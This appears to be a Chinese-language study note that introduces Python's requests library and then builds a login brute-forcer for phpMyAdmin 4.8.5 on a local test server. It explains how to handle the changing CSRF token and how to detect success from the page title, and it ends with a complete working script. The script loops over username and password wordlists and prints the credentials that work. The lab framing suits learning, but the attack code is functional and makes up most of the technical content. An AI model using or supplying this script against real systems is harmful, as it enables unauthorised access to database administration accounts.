关于python的requests模块
- 主要用来发 送 HTTP 请求
- 每次调用 requests 请求之后,会返回一个 response 对象,该对象包含了具体的响应信息
text
——返回响应的内容,unicode 类型数据
status_code
——返回 http 的状态码
- 关于requests的一些方法:
get(url, params, args)
——发送 GET 请求到指定 url
post(url, data, json, args)
——发送 POST 请求到指定 url
request(method, url, args)
——向指定的 url 发送指定的请求方法
- ss = requests.session() 会实例化一个会话对象
- 会话对象能够跨请求保持某些参数,它也会在同一个 Session 实例发出的所有请求之间保持 cookie
- 会话对象具有主要的 Requests API 的所有方法,可以当成 Request去使用
思路
- 呜呜呜其实也没啥思路,这标题还挺不好意思的
- 先是抓个包看看参数,然后还试了一下bp爆破但是那个返回长度看不出啥
- 然后就一顿搜,发现bp确实是不行的,因为它这里那个参数 token 和 set_session 是一直在变的
- 然后判断有没有成功登录是通过标题
- 这里获取标题以及从源码里获取token用的是同一个方法:
findall(pattern, string, flags=0)
——返回string中所有与pattern匹配的全部字符串,返回形式为数组
- 因此获取token就可以用这段代码:
findall("name=\"token\" value=\"(.*?)\" />", text)
- 然后(一哥的)流程大概就是:
- 先发了个post请求给这个页面,然后获取它返回的标题和token
- 然后循环把存着用户名和密码的文件读入然后进行了utf-8编码,分别赋给
pma_username
和pma_password
- 然后再带着data发一个post请求,获取标题和token
- 然后把传入data后获得的标题和传入之前的做比较,如果不相等,就说明登陆成功了
- 成功了就把请求的url和对应的用户名密码写到文件里,失败了就继续循环
- 然后就是token这里他还有个编码处理:
- 使用
html.unescape()
方法,可以将ascii字符串转换为html脚本
接下来就是我查重率估计有99%的代码了
import requests
import re
import html
# url
url = 'http://127.0.0.1/phpMyAdmin4.8.5/index.php'
s = requests.session()
s.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate'
}
def get_token(rp):
token = re.findall('name=\"token\" value=\"(.*?)\" />', rp)
return html.unescape(token[0]) if token else 'No token found'
def get_title(rp):
title = re.findall('<title>(.*?)</title>', rp)
return title[0] if title else 'No title found'
def set_data(user, password, token):
data = {
'pma_username': user,
'pma_password': password,
'server': 1,
'target': 'index.php',
'token': token
}
return data
def start_attacking():
try:
rp = s.post(url=url)
token = get_token(rp.text)
ta = get_title(rp.text)
with open('user.txt', 'r+') as u:
for i in u:
with open('password.txt', 'r+') as p:
for j in p:
user = i.strip()
password = j.strip()
rp = s.post(url=url, data=set_data(user, password, token))
token = get_token(rp.text)
tb = get_title(rp.text)
if ta != tb:
print('Success! user: ' + user + ' | password: ' + password)
return 1
else:
pass
except Exception as e:
print(e.args)
return -1
return 0
if __name__ == "__main__":
rs = start_attacking()
if rs == 0:
print('Fail! No matching user and password were found in the files.')
else:
pass